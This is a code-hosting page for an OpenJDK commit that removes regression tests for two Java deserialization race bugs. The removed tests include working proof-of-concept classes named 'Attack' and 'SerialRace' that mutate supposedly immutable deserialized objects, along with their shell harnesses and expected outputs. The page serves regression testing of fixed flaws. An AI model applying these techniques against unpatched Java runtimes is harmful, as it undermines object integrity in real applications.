提交 1b0e59c1 编写于 作者: A asaha

6993206: Removing non-functional tests.

Reviewed-by: mchung
上级 3f2298d8
The testcase works well on dual core machines.
The below output indicates a successful fix:
Exception in thread "Thread-0" java.lang.NullPointerException
at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:476)
at SerialRace$1.run(SerialRace.java:33)
at java.lang.Thread.run(Thread.java:595)
When the vulnerability exists, the output of the tescase is something like this:
Available processors: 2
Iteration 1
java.io.NotActiveException: not in readObject invocation or fields already read
at java.io.ObjectInputStream$CallbackContext.checkAndSetUsed(ObjectInputStream.java:3437)
at java.io.ObjectInputStream$CallbackContext.getObj(ObjectInputStream.java:3427)
at java.io.ObjectInputStream.readFields(ObjectInputStream.java:514)
at SerialVictim.readObject(SerialVictim.java:19)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:585)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:946)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1809)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1719)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1305)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:348)
at SerialRace.main(SerialRace.java:65)
Victim: ?
Victim: $
/*
* @test %W% %E%
* @bug 6559775
* @summary Race allows defaultReadObject to be invoked instead of readFields during deserialization
* @run shell Test6559775.sh
*/
import java.io.*;
public class SerialRace {
public static void main(String[] args) throws Exception {
System.err.println(
"Available processors: "+
Runtime.getRuntime().availableProcessors()
);
final int perStream = 10000;
// Construct attack data.
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
{
ObjectOutputStream out = new ObjectOutputStream(byteOut);
char[] value = new char[] { '?' };
out.writeObject(value);
for (int i=0; i<perStream; ++i) {
SerialVictim orig = new SerialVictim(value);
out.writeObject(orig);
}
out.flush();
}
byte[] data = byteOut.toByteArray();
ByteArrayInputStream byteIn = new ByteArrayInputStream(data);
final ObjectInputStream in = new ObjectInputStream(byteIn);
final char[] value = (char[])in.readObject();
Thread thread = new Thread(new Runnable() { public void run() {
for (;;) {
try {
// Attempt to interlope on other thread.
in.defaultReadObject();
// Got it.
// Let other thread reach known state.
Thread.sleep(1000);
// This is the reference usually
// read in extended data.
SerialVictim victim = (SerialVictim)
in.readObject();
System.err.println("Victim: "+victim);
value[0] = '$';
System.err.println("Victim: "+victim);
return;
} catch (java.io.NotActiveException exc) {
// Not ready yet...
} catch (java.lang.InterruptedException exc) {
throw new Error(exc);
} catch (IOException exc) {
throw new Error(exc);
} catch (ClassNotFoundException exc) {
throw new Error(exc);
}
}
}});
thread.start();
Thread.yield();
// Normal reading from object stream.
// We hope the other thread catches us out between
// setting up the call to SerialVictim.readObject and
// the AtomicBoolean acquisition in readFields.
for (int i=0; i<perStream; ++i) {
try {
SerialVictim victim = (SerialVictim)in.readObject();
} catch (Exception exc) {
synchronized (System.err) {
System.err.println("Iteration "+i);
exc.printStackTrace();
}
// Allow atack thread to do it's business before close.
Thread.sleep(2000);
break;
}
}
// Stop the other thread.
in.close();
}
}
/**
* Instances of this class created through deserialization
* should, in theory, be immutable.
* Instances created through the public constructor
* are only to ease creation of the binary attack data.
*/
public class SerialVictim implements java.io.Serializable {
private char[] value;
public SerialVictim(char[] value) {
this.value = value;
}
//@Override
public String toString() {
return new String(value);
}
private void readObject(
java.io.ObjectInputStream in
) throws java.io.IOException, java.lang.ClassNotFoundException {
java.io.ObjectInputStream.GetField fields = in.readFields();
// Clone before write should, in theory, make instance safe.
this.value = (char[])((char[])fields.get("value", null)).clone();
in.readObject();
}
private void writeObject(
java.io.ObjectOutputStream out
) throws java.io.IOException {
out.defaultWriteObject();
out.writeObject(this);
}
}
#!/bin/sh
if [ "${TESTSRC}" = "" ]
then TESTSRC=.
fi
if [ "${TESTJAVA}" = "" ]
then
PARENT=`dirname \`which java\``
TESTJAVA=`dirname ${PARENT}`
echo "TESTJAVA not set, selecting " ${TESTJAVA}
echo "If this is incorrect, try setting the variable manually."
fi
if [ "${TESTCLASSES}" = "" ]
then
echo "TESTCLASSES not set. Test cannot execute. Failed."
exit 1
fi
BIT_FLAG=""
# set platform-dependent variables
OS=`uname -s`
case "$OS" in
SunOS | Linux )
NULL=/dev/null
PS=":"
FS="/"
## for solaris, linux it's HOME
FILE_LOCATION=$HOME
if [ -f ${FILE_LOCATION}${FS}JDK64BIT -a ${OS} = "SunOS" ]
then
BIT_FLAG=`cat ${FILE_LOCATION}${FS}JDK64BIT | grep -v '^#'`
fi
;;
Windows_* )
NULL=NUL
PS=";"
FS="\\"
;;
* )
echo "Unrecognized system!"
exit 1;
;;
esac
JEMMYPATH=${CPAPPEND}
CLASSPATH=.${PS}${TESTCLASSES}${PS}${JEMMYPATH} ; export CLASSPATH
THIS_DIR=`pwd`
${TESTJAVA}${FS}bin${FS}java ${BIT_FLAG} -version
cp ${TESTSRC}${FS}*.java .
chmod 777 *.java
${TESTJAVA}${FS}bin${FS}javac SerialRace.java
${TESTJAVA}${FS}bin${FS}java ${BIT_FLAG} SerialRace > test.out 2>&1
cat test.out
STATUS=0
egrep "java.io.NotActiveException|not in readObject invocation or fields already read|^Victim" test.out
if [ $? = 0 ]
then
STATUS=1
else
grep "java.lang.NullPointerException" test.out
if [ $? != 0 ]; then
STATUS=1
fi
fi
exit $STATUS
/*
* @test
* @bug 6966692
* @summary defaultReadObject can set a field multiple times
* @run shell Test6966692.sh
*/
import java.io.*;
public class Attack {
public static void main(String[] args) throws Exception {
attack(setup());
}
/** Returned data has Victim with two aaaa fields. */
private static byte[] setup() throws Exception {
Victim victim = new Victim();
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteOut);
out.writeObject(victim);
out.close();
byte[] data = byteOut.toByteArray();
String str = new String(data, 0); // hibyte is 0
str = str.replaceAll("bbbb", "aaaa");
str.getBytes(0, data.length, data, 0); // ignore hibyte
return data;
}
private static void attack(byte[] data) throws Exception {
ObjectInputStream in = new ObjectInputStream(
new ByteArrayInputStream(data)
);
Victim victim = (Victim)in.readObject();
System.out.println(victim+" "+victim.aaaa);
}
}
Testcase shows default deserialisation of the Victim having two values for the same field.
Probably requires dual core to run successfully.
Reading thread is warmed up so that it can easily win the race for the demonstration, but this means we need to make the field volatile.
Typical output:
Victim@1551f60 BBBB
Victim@1551f60 AAAA
The output when its fixed is,
Victim@1975b59 AAAA
Victim@1975b59 AAAA - The value is retained
and when it is not fixed, it shows something like
Victim@173a10f AAAA
Victim@173a10f BBBB - the value of the object gets set again and hence is different. This is a bug
Look at the
AAAA AAAA
and
AAAA BBBB
#!/bin/sh
if [ "${TESTSRC}" = "" ]
then TESTSRC=.
fi
if [ "${TESTJAVA}" = "" ]
then
PARENT=`dirname \`which java\``
TESTJAVA=`dirname ${PARENT}`
echo "TESTJAVA not set, selecting " ${TESTJAVA}
echo "If this is incorrect, try setting the variable manually."
fi
if [ "${TESTCLASSES}" = "" ]
then
echo "TESTCLASSES not set. Test cannot execute. Failed."
exit 1
fi
BIT_FLAG=""
# set platform-dependent variables
OS=`uname -s`
case "$OS" in
SunOS | Linux )
NULL=/dev/null
PS=":"
FS="/"
## for solaris, linux it's HOME
FILE_LOCATION=$HOME
if [ -f ${FILE_LOCATION}${FS}JDK64BIT -a ${OS} = "SunOS" ]
then
BIT_FLAG=`cat ${FILE_LOCATION}${FS}JDK64BIT | grep -v '^#'`
fi
;;
Windows_* )
NULL=NUL
PS=";"
FS="\\"
;;
* )
echo "Unrecognized system!"
exit 1;
;;
esac
JEMMYPATH=${CPAPPEND}
CLASSPATH=.${PS}${TESTCLASSES}${PS}${JEMMYPATH} ; export CLASSPATH
THIS_DIR=`pwd`
${TESTJAVA}${FS}bin${FS}java ${BIT_FLAG} -version
cp ${TESTSRC}${FS}*.java .
chmod 777 *.java
${TESTJAVA}${FS}bin${FS}javac *.java
${TESTJAVA}${FS}bin${FS}java ${BIT_FLAG} Attack > test.out 2>&1
cat test.out
STATUS=0
egrep "^Victim.*BBBB.*AAAA|^Victim.*AAAA.*BBBB" test.out
if [ $? = 0 ]
then
STATUS=1
else
egrep "^Victim.*BBBB.*BBBB|^Victim.*AAAA.*AAAA" test.out
if [ $? != 0 ]; then
STATUS=1
fi
fi
exit $STATUS
import java.io.*;
public class Victim implements Serializable {
public volatile Object aaaa = "AAAA"; // must be volatile...
private final Object aabb = new Show(this);
public Object bbbb = "BBBB";
}
class Show implements Serializable {
private final Victim victim;
public Show(Victim victim) {
this.victim = victim;
}
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException
{
in.defaultReadObject();
Thread thread = new Thread(new Runnable() { public void run() {
for (;;) {
Object a = victim.aaaa;
if (a != null) {
System.err.println(victim+" "+a);
break;
}
}
}});
thread.start();
// Make sure we are running compiled whilst serialisation is done interpreted.
try {
Thread.sleep(1000);
} catch (java.lang.InterruptedException exc) {
Thread.currentThread().interrupt();
}
}
}
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册